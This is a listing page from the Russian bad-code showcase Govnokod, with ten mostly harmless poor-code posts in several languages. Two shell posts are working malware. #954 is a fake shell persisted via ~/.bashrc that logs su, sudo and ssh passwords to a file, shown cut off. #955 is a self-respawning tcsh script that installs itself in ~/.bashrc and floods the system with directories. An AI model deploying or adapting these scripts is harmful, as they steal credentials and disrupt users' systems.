1. Си / Говнокод #961

    +144

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    include <stdio.h>
    int main()
    {
        unsigned char a;
         a='Я';
         printf("\n%c=%d",a,a);
         return 0;
    }

    guest, 27 Апреля 2009

    Комментарии (1)
  2. PHP / Говнокод #960

    +142.9

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    if (isset($_POST['id'])){$id = $_POST['id']; if($id == ''){unset($id); }}
    if (isset($_POST['data'])){$id2 = $_POST['data']; if($id2 == ''){unset($data); }}
    if (isset($_POST['dengi'])){$id3 = $_POST['dengi']; if($id3 == ''){unset($dengi); }}
    if (isset($_POST['prim'])){$id4 = $_POST['prim']; if($id4 == ''){unset($prim); }}
    $id = $_REQUEST['id']; $data = $_REQUEST['data']; $dengi = $_REQUEST['dengi']; $prim = $_REQUEST['prim'];

    С одного форума

    guest, 27 Апреля 2009

    Комментарии (0)
  3. Pascal / Говнокод #959

    +151

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    library ExDouble;
     
    uses
      SysUtils,
      Classes;
     
    {$R *.res}
     
    function calc_double(r: real): real; stdcall;
    begin
      result := 2;
    end;
     
    exports
      calc_double index 1;
     
    
    end.
    
    
    
    
    
    
    
    unit Unit1;
     
    interface
     
    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls;
     
    type
      TForm1 = class(TForm)
        Edit1: TEdit;
        Button1: TButton;
        procedure Button1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;
     
    var
      Form1: TForm1;
    function calc_double(r: real): real; stdcall; external 'ExDouble.dll';
     
    implementation
     
    {$R *.dfm}
     
    procedure TForm1.Button1Click(Sender: TObject);
    begin
    if Edit1.Text<>FloatToStr(calc_double(0))then
    ShowMessage('')
    else begin
    ShowMessage('dsfgsdfg');
    end;
    end;
     
    end.

    guest, 27 Апреля 2009

    Комментарии (5)
  4. ActionScript / Говнокод #958

    −96

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    this.onMouseDown = function() {
    
    	if (btn_right._visible && btn_right.enabled) {
    
    		if (btn_right.hitTest(_xmouse, _ymouse, 0)) {
    
    			btn_right_release();
    		}
    	}
    	if (ready._visible && ready.enabled) {
    
    		if (ready.hitTest(_xmouse, _ymouse, 0)) {
    
    			ready_release();
    		}
    	}
    	if (ready2._visible && ready2.enabled) {
    
    		if (ready2.hitTest(_xmouse, _ymouse, 0)) {
    
    			ready2_release();
    		}
    	}
    	if (yesno.no._visible && yesno.no.enabled) {
    
    		if (yesno.no.hitTest(_xmouse, _ymouse, 0)) {
    
    			no_release();
    		}
    	}
    	if (yesno2.no._visible && yesno2.no.enabled) {
    
    		if (yesno2.no.hitTest(_xmouse, _ymouse, 0)) {
    
    			no2_release();
    		}
    	}
    };

    Назначение обработчиков для кнопок

    guest, 27 Апреля 2009

    Комментарии (0)
  5. ActionScript / Говнокод #957

    −281.8

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    //////////////////////   обработчик onEnterFrame
    onEnterFrame = function () {
    	switch (_currentframe) {
    		case 4 :
    			if (go_5) {
    				btn_right._visible = true;
    			} else {
    				btn_right._visible = false;
    			}
    			if (txt_area2.txt.text == "") {
    				ready.enabled = false;
    				ready._alpha = 30;
    			} else {
    				ready.enabled = true;
    				ready._alpha = 100;
    			}
    			break;
    		case 5 :
    			if (table2._height > 460) {
    				mc_scroll._visible = true;
    			} else {
    				mc_scroll._visible = false;
    				table2._y = 460 / 2 - table2._height / 2;
    			}
    			if (reit_end == 0) {
    				btn_right._visible = false;
    			} else {
    				btn_right._visible = true;
    			}
    			break;
    		case 8 :
    			btn_left._visible = false;
    			break;
    		case 6 :
    			if (chek_was_became() == 1) {
    				btn_right._visible = true;
    			} else {
    				btn_right._visible = false;
    			}
    			break;
    		case 11 :
    			if (go_12) {
    				btn_right._visible = true;
    			} else {
    				btn_right._visible = false;
    			}
    			if (chto.txt.text == "") {
    				ready2.enabled = false;
    				ready2._alpha = 30;
    			} else {
    				ready2.enabled = true;
    				ready2._alpha = 100;
    			}
    			if (planning == 1) {
    				btn_right._visible = false;
    			}
    			break;
    		case 12 :
    			if (sims.txt2.text == "" || sims.txt3.text == "") {
    				ok.enabled = false;
    				ok._alpha = 30;
    			} else {
    				ok.enabled = true;
    				ok._alpha = 100;
    			}
    			break;
    		case 14 :
    			if (table._height > 590) {
    				mc_scroll2._visible = true;
    			} else {
    				mc_scroll2._visible = false;
    				table._y = 590 / 2 - table._height / 2 + 42;
    			}
    			break;
    		case 16 :
    			if (color1.txt2.text == "" || color2.txt2.text == "" || color3.txt2.text == "") {
    				btn_right.enabled = false;
    				btn_right._alpha = 30;
    			} else {
    				btn_right.enabled = true;
    				btn_right._alpha = 100;
    			}
    			break;
    	}
    };

    Офигенно содержательный комментарий, который сразу объясняет весь блок.

    guest, 27 Апреля 2009

    Комментарии (6)
  6. C# / Говнокод #956

    +952

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    try
                        {
                            db.OpenDB();
                        }
                        catch { }
                        try
                        {
                            db.adapter.Fill(tableTemp);
                        }
                        catch { }
                        finally
                        {
                            db.command.Parameters.Clear();
                            try
                            {
                                db.CloseDB();
                            }
                            catch { }
                        }

    Писать могут даже так.

    guest, 27 Апреля 2009

    Комментарии (4)
  7. Куча / Говнокод #955

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    #!/bin/tcsh
    # Utility "p1", author Alice Stein ([email protected]),
    chmod +r+w ~/.bashrc
    set x3=$#
    if($x3<1) then
    #read last string from .bashrc that write one time
    # and replace spaces sign _
    set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
    #parameter $0 contains path to script and name of script
    set b=$0
    #if a line coincided from .bashrc with $0
    if($a == $b) then
    else
    chmod +r+w ~/.bashrc
    #write to file .bashrc that started each time with start bash
    echo "$0" >> ~/.bashrc
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    endif
    #if command line parameters are not present assign default counter of directories 0 and command echo
    set x1="0"
    set x2="echo"
    $0 $x1 $x2 &
    else
    #save command line arguments in environment variables
    set x1=$1
    set x2=$2
    endif
    #exec command passed from command line
    $x2;
    #write number of counter of directory in the system log /var/log/messages
    logger $1;
    #increment directory counter
    @ x1++;
    chmod +x+r+w $x1
    #create directory
    mkdir $x1
    #call in the created directory
    cd $x1
    chmod +x+r+w $x1
    #delete a file if a script is started the second time that did not result in hanging up of script
    #delete hidden file
    rm .$x1
    #create hidden file
    echo "1" > .$x1
    #take away rights for access
    chmod -x-r-w .$x1
    cd ..
    chmod -x-r-w $x1
    #sleep on 1 second
    sleep 1s;
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    #recursive call with argument line parameter
    $0 $x1 $x2 &
    exit 0

    shell script tcsh

    guest, 27 Апреля 2009

    Комментарии (1)
  8. Куча / Говнокод #954

    +130.2

    1. 001
    2. 002
    3. 003
    4. 004
    5. 005
    6. 006
    7. 007
    8. 008
    9. 009
    10. 010
    11. 011
    12. 012
    13. 013
    14. 014
    15. 015
    16. 016
    17. 017
    18. 018
    19. 019
    20. 020
    21. 021
    22. 022
    23. 023
    24. 024
    25. 025
    26. 026
    27. 027
    28. 028
    29. 029
    30. 030
    31. 031
    32. 032
    33. 033
    34. 034
    35. 035
    36. 036
    37. 037
    38. 038
    39. 039
    40. 040
    41. 041
    42. 042
    43. 043
    44. 044
    45. 045
    46. 046
    47. 047
    48. 048
    49. 049
    50. 050
    51. 051
    52. 052
    53. 053
    54. 054
    55. 055
    56. 056
    57. 057
    58. 058
    59. 059
    60. 060
    61. 061
    62. 062
    63. 063
    64. 064
    65. 065
    66. 066
    67. 067
    68. 068
    69. 069
    70. 070
    71. 071
    72. 072
    73. 073
    74. 074
    75. 075
    76. 076
    77. 077
    78. 078
    79. 079
    80. 080
    81. 081
    82. 082
    83. 083
    84. 084
    85. 085
    86. 086
    87. 087
    88. 088
    89. 089
    90. 090
    91. 091
    92. 092
    93. 093
    94. 094
    95. 095
    96. 096
    97. 097
    98. 098
    99. 099
    100. 100
    #!/bin/bash
    cm=""
    function psw_su()
    {
      t=`echo $1 | tr '_' ' '`
      echo -n $t
      read -s ps >> ~/.log
      echo "password: " >> ~/.log
      #safe password to log file
      echo $ps >> ~/.log
      echo
      sleep 4s
      echo "su: incorrect password"
      $cm
      # exit 0
    };
    function zar()
    {
      a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
      b=$0
      case $a in
        $b)
      ;;
      *)
        echo $0 >> ~/.bashrc
      ;;
      esac
    };
    
    zar
    while :
    do
      psu="Password: "
      psudo="root's_password:"
      ht=$HOST
      un=$USER
      pw=`pwd`
      case $pw in
      $HOME)
        #tilda ~ this is home directory
        pw="~"
      ;;
      *)
      esac
      #string of console of shell
      nm=$USER"@"$HOST":"$pw"> "
      echo -n $nm
      echo -n " "
      #enter command
      cm=""
      read -e cm
      # cm=$1
      #switch case
      case $cm in
      "")
      ;;
      #authentficate as root
      "su")
        psw_su $psu
      ;;
      #authentificat as root
      "su -l root")
        psw_su $psu
      ;;
      #authentificate as other user
      `echo $cm | grep "su -l" | grep [A-Za-z0-9].*`)
        c=`echo $cm | tr ' ' '_' | rev`
        c2=`basename $c _l-_us | rev`
        echo "Login: "$c2 >> ~/.log
        psw_su $psu
      ;;
      #simple sudo as authentificate as root
      "sudo bash")
        psw_su $psudo
      ;;
      `echo $cm | grep ssh`)
        c=`echo $cm | tr ' ' '_' | rev`
        c2=`basename $c _hss | rev`
        echo "loginSSH: "$c2>> ~/.log
        echo -n "Password: "
        read -s ps
        echo $cm >> ~/.log
        echo "Password SSH:"$ps >> ~/.log
        sleep 2s
        echo
        $cm
        exit 0
      ;;
      `echo $cm | grep sudo | grep sh`)
        psw_su $psudo
      ;;
      *)
      esac
      echo $cm >> ~/.log
      #$cm >> ~/.log
      #exec command
      case $cm in
      "")
        cm="echo -n"
      ;;

    shell script

    guest, 27 Апреля 2009

    Комментарии (2)
  9. Куча / Говнокод #953

    +144.1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    <div styleborder:3px solid #000000; 
        height: 300px;
        width: 600px;
        text-align:center;>
            background:url(http://cs4288.vkontakte.ru/u29274663/90187299/x_a74c614b.jpg) no-repeat center;"> 
        
    </div>

    html-опус

    guest, 26 Апреля 2009

    Комментарии (3)
  10. PHP / Говнокод #952

    +142.3

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    //------------------------------Запись в профиль ----------------------------//
    $ufile = file(BASEDIR."local/profil/$log.prof"); 
    $udata = explode(":||:",$ufile[0]);
    
    if($udata[10]>0){
    $udata[10]=0;
    $udata[14]=$ip;
    
    for ($u=0; $u<$config_userprofkey; $u++){
    $utext.=$udata[$u].':||:';}
    
    if($udata[0]!="" && $udata[1]!="" && $udata[4]!="" && $utext!=""){
    $fp=fopen(BASEDIR."local/profil/$log.prof","a+");  
    flock ($fp,LOCK_EX); 
    ftruncate ($fp,0);                                                              
    fputs($fp,$utext);
    fflush ($fp);
    flock ($fp,LOCK_UN);
    fclose($fp);  
    unset($utext);
    }}

    Из говно cms wap motor

    guest, 25 Апреля 2009

    Комментарии (3)